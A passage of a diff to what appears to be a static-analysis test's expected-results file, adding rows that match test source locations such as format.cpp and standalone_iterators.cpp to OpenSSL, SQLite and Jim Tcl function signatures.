*,uint64_t,..(*)(..),void *) | | ossl_quic_rxfc_init_standalone | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (SHA_CTX *,int,int,void *) | | ossl_sha1_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (SSL *,int,long,void *) | | SSL_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (SSL *,int,long,void *) | | dtls1_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (SSL *,int,long,void *) | | ossl_quic_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (SSL *,int,long,void *) | | ssl3_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *) | | ossl_statem_set_mutator | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *) | | SSL_CTX_set_session_ticket_cb | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (SSL_CTX *,int,long,void *) | | SSL_CTX_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (SSL_CTX *,int,long,void *) | | ossl_quic_ctx_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (SSL_CTX *,int,long,void *) | | ssl3_ctx_ctrl | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (X509_ALGOR *,ASN1_OBJECT *,int,void *) | | X509_ALGOR_set0 | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (char *,int,int,void *) | | PEM_def_callback | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (char *,int,int,void *) | | ossl_pw_pem_password | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (char *,int,int,void *) | | ossl_pw_pvk_password | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (char *,size_t,const char *,va_list) | | BIO_vsnprintf | 0 | +| format.cpp:14:5:14:13 | vsnprintf | (char *,size_t,const char *,va_list) | | BIO_vsnprintf | 1 | +| format.cpp:14:5:14:13 | vsnprintf | (char *,size_t,const char *,va_list) | | BIO_vsnprintf | 2 | +| format.cpp:14:5:14:13 | vsnprintf | (char *,size_t,const char *,va_list) | | BIO_vsnprintf | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (const OSSL_NAMEMAP *,int,..(*)(..),void *) | | ossl_namemap_doall_names | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (int,char *,const char *,va_list) | | sqlite3_vsnprintf | 2 | +| format.cpp:14:5:14:13 | vsnprintf | (int,char *,const char *,va_list) | | sqlite3_vsnprintf | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (int,int,const char *,va_list) | | ERR_vset_error | 2 | +| format.cpp:14:5:14:13 | vsnprintf | (int,int,const char *,va_list) | | ERR_vset_error | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (int,unsigned long,..(*)(..),void *) | | RSA_generate_key | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_recover_init_sql | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (sqlite3 *,const char *,..(*)(..),void *) | | sqlite3_rtree_geometry_callback | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (sqlite3 *,const char *,const sqlite3_module *,void *) | | sqlite3_create_module | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (sqlite3 *,const char *,int,void *) | | sqlite3_file_control | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (sqlite3 *,int,..(*)(..),void *) | | sqlite3_progress_handler | 3 | +| format.cpp:14:5:14:13 | vsnprintf | (sqlite3 *,unsigned int,..(*)(..),void *) | | sqlite3_trace_v2 | 3 | +| format.cpp:16:5:16:13 | mysprintf | (StrAccum *,sqlite3_str *,const char *,...) | | sqlite3_str_appendf | 2 | +| format.cpp:16:5:16:13 | mysprintf | (StrAccum *,sqlite3_str *,const char *,...) | | sqlite3_str_appendf | 3 | +| format.cpp:16:5:16:13 | mysprintf | (char *,size_t,const char *,...) | | BIO_snprintf | 0 | +| format.cpp:16:5:16:13 | mysprintf | (char *,size_t,const char *,...) | | BIO_snprintf | 1 | +| format.cpp:16:5:16:13 | mysprintf | (char *,size_t,const char *,...) | | BIO_snprintf | 2 | +| format.cpp:16:5:16:13 | mysprintf | (char *,size_t,const char *,...) | | BIO_snprintf | 3 | +| format.cpp:16:5:16:13 | mysprintf | (int,char *,const char *,...) | | sqlite3_snprintf | 2 | +| format.cpp:16:5:16:13 | mysprintf | (int,char *,const char *,...) | | sqlite3_snprintf | 3 | +| format.cpp:28:5:28:10 | sscanf | (Jim_Interp *,const char *,...) | | Jim_SetResultFormatted | 1 | +| format.cpp:28:5:28:10 | sscanf | (Jim_Interp *,const char *,...) | | Jim_SetResultFormatted | 2 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | BIO_gethostbyname | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | Jim_StrDup | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | OPENSSL_LH_strhash | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | Strsafe | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | Symbol_new | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | UI_create_method | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | X509V3_parse_list | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | X509_LOOKUP_meth_new | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | a2i_IPADDRESS | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | a2i_IPADDRESS_NC | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | opt_path_end | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | opt_progname | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | ossl_lh_strcasehash | 0 | +| format.cpp:142:8:142:13 | strlen | (const char *) | | strhash | 0 | +| map.cpp:8:6:8:9 | sink | (char *) | | SRP_VBASE_new | 0 | +| map.cpp:8:6:8:9 | sink | (char *) | | defossilize | 0 | +| map.cpp:8:6:8:9 | sink | (char *) | | make_uppercase | 0 | +| map.cpp:8:6:8:9 | sink | (char *) | | next_item | 0 | | map.cpp:8:6:8:9 | sink | (char *) | CStringT | CStringT | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | BIO_gethostbyname | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | Jim_StrDup | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | OPENSSL_LH_strhash | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | Strsafe | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | Symbol_new | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | UI_create_method | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | X509V3_parse_list | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | X509_LOOKUP_meth_new | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | a2i_IPADDRESS | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | a2i_IPADDRESS_NC | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | opt_path_end | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | opt_progname | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | ossl_lh_strcasehash | 0 | +| map.cpp:9:6:9:9 | sink | (const char *) | | strhash | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | ASN1_STRING_type_new | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | ASN1_tag2bit | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | ASN1_tag2str | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | EVP_PKEY_asn1_get0 | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | Jim_ReturnCode | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | Jim_SignalId | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | OBJ_nid2ln | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | OBJ_nid2obj | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | OBJ_nid2sn | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | OSSL_STORE_INFO_type_string | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | OSSL_trace_get_category_name | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | PKCS12_init | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | Symbol_Nth | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | X509_PURPOSE_get0 | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | X509_PURPOSE_get_by_id | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | X509_TRUST_get0 | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | X509_TRUST_get_by_id | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | evp_pkey_type2name | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | ossl_cmp_bodytype_to_string | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | ossl_tolower | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | ossl_toupper | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | sqlite3_compileoption_get | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | sqlite3_errstr | 0 | +| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | tls13_alert_code | 0 | +| set.cpp:8:6:8:9 | sink | (char *) | | SRP_VBASE_new | 0 | +| set.cpp:8:6:8:9 | sink | (char *) | | defossilize | 0 | +| set.cpp:8:6:8:9 | sink | (char *) | | make_uppercase | 0 | +| set.cpp:8:6:8:9 | sink | (char *) | | next_item | 0 | | set.cpp:8:6:8:9 | sink | (char *) | CStringT | CStringT | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | ASN1_STRING_type_new | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | ASN1_tag2bit | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | ASN1_tag2str | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | EVP_PKEY_asn1_get0 | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | Jim_ReturnCode | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | Jim_SignalId | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | OBJ_nid2ln | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | OBJ_nid2obj | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | OBJ_nid2sn | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | OSSL_STORE_INFO_type_string | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | OSSL_trace_get_category_name | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | PKCS12_init | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | Symbol_Nth | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | X509_PURPOSE_get0 | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | X509_PURPOSE_get_by_id | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | X509_TRUST_get0 | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | X509_TRUST_get_by_id | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | evp_pkey_type2name | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | ossl_cmp_bodytype_to_string | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | ossl_tolower | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | ossl_toupper | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | sqlite3_compileoption_get | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | sqlite3_errstr | 0 | +| smart_pointer.cpp:4:6:4:9 | sink | (int) | | tls13_alert_code | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | ASN1_STRING_type_new | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | ASN1_tag2bit | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | ASN1_tag2str | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | EVP_PKEY_asn1_get0 | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | Jim_ReturnCode | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | Jim_SignalId | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | OBJ_nid2ln | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | OBJ_nid2obj | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | OBJ_nid2sn | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | OSSL_STORE_INFO_type_string | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | OSSL_trace_get_category_name | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | PKCS12_init | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | Symbol_Nth | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | X509_PURPOSE_get0 | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | X509_PURPOSE_get_by_id | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | X509_TRUST_get0 | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | X509_TRUST_get_by_id | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | evp_pkey_type2name | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | ossl_cmp_bodytype_to_string | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | ossl_tolower | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | ossl_toupper | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | sqlite3_compileoption_get | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | sqlite3_errstr | 0 | +| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | tls13_alert_code | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | ASN1_STRING_type_new | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | ASN1_tag2bit | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | ASN1_tag2str | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | EVP_PKEY_asn1_get0 | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | Jim_ReturnCode | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | Jim_SignalId | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | OBJ_nid2ln | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | OBJ_nid2obj | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | OBJ_nid2sn | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | OSSL_STORE_INFO_type_string | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | OSSL_trace_get_category_name | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | PKCS12_init | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | Symbol_Nth | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | X509_PURPOSE_get0 | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | X509_PURPOSE_get_by_id | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | X509_TRUST_get0 | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | X509_TRUST_get_by_id | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | evp_pkey_type2name | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | ossl_tolower | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | ossl_toupper | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | sqlite3_compileoption_get | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | sqlite3_errstr | 0 | +| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | tls13_alert_code | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | ASN1_STRING_type_new | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | ASN1_tag2bit | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | ASN1_tag2str | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | EVP_PKEY_asn1_get0 | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | Jim_ReturnCode | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | Jim_SignalId | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | OBJ_nid2ln | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | OBJ_nid2obj | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | OBJ_nid2sn | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | OSSL_STORE_INFO_type_string | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | OSSL_trace_get_category_name | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | PKCS12_init | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | Symbol_Nth | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | X509_PURPOSE_get0 | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | X509_PURPOSE_get_by_id | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | X509_TRUST_get0 | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | X509_TRUST_get_by_id | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | evp_pkey_type2name | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | ossl_tolower | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | ossl_toupper | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | sqlite3_compileoption_get | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | sqlite3_errstr | 0 | +| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | tls13_alert_code | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | ASN1_STRING_type_new | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | ASN1_tag2bit | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | ASN1_tag2str | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | EVP_PKEY_asn1_get0 | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | Jim_ReturnCode | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | Jim_SignalId | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | OBJ_nid2ln | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | OBJ_nid2obj | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | OBJ_nid2sn | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | OSSL_STORE_INFO_type_string | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | OSSL_trace_get_category_name | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | PKCS12_init | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | Symbol_Nth | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | X509_PURPOSE_get0 | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | X509_PURPOSE_get_by_id | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | X509_TRUST_get0 | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | X509_TRUST_get_by_id | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | evp_pkey_type2name | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | ossl_tolower | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | ossl_toupper | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | sqlite3_compileoption_get | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | sqlite3_errstr | 0 | +| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | tls13_alert_code | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | ASN1_STRING_type_new | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | ASN1_tag2bit | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | ASN1_tag2str | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | EVP_PKEY_asn1_get0 | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | Jim_ReturnCode | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | Jim_SignalId | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | OBJ_nid2ln | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | OBJ_nid2obj | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | OBJ_nid2sn | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | OSSL_STORE_INFO_type_string | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | OSSL_trace_get_category_name | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | PKCS12_init | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | Symbol_Nth | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | X509_PURPOSE_get0 | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | X509_PURPOSE_get_by_id | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | X509_TRUST_get0 | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | X509_TRUST_get_by_id | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | evp_pkey_type2name | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | ossl_tolower | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | ossl_toupper | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | sqlite3_compileoption_get | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | sqlite3_errstr | 0 | +| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | tls13_alert_code | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | ASN1_STRING_type_new | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | ASN1_tag2bit | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | ASN1_tag2str | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | EVP_PKEY_asn1_get0 | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | Jim_ReturnCode | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | Jim_SignalId | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | OBJ_nid2ln | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | OBJ_nid2obj | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | OBJ_nid2sn | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | OSSL_STORE_INFO_type_string | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | OSSL_trace_get_category_name | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | PKCS12_init | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | Symbol_Nth | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | X509_PURPOSE_get0 | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | X509_PURPOSE_get_by_id | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | X509_TRUST_get0 | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | X509_TRUST_get_by_id | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | evp_pkey_type2name | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | ossl_cmp_bodytype_to_string | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | ossl_tolower | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | ossl_toupper | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | sqlite3_compileoption_get | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | sqlite3_errstr | 0 | +| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | tls13_alert_code | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | ASN1_STRING_type_new | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | ASN1_tag2bit | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | ASN1_tag2str | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | EVP_PKEY_asn1_get0 | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | Jim_ReturnCode | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | Jim_SignalId | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | OBJ_nid2ln | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | OBJ_nid2obj | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | OBJ_nid2sn | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | OSSL_STORE_INFO_type_string | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | OSSL_trace_get_category_name | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | PKCS12_init | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | Symbol_Nth | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | X509_PURPOSE_get0 | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | X509_PURPOSE_get_by_id | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | X509_TRUST_get0 | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | X509_TRUST_get_by_id | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | evp_pkey_type2name | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | ossl_cmp_bodytype_to_string | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | ossl_tolower | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | ossl_toupper | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | sqlite3_compileoption_get | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | sqlite3_errstr | 0 | +| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | tls13_alert_code | 0 | +| standalone_iterators.cpp:103:27:103:36 | operator+= | 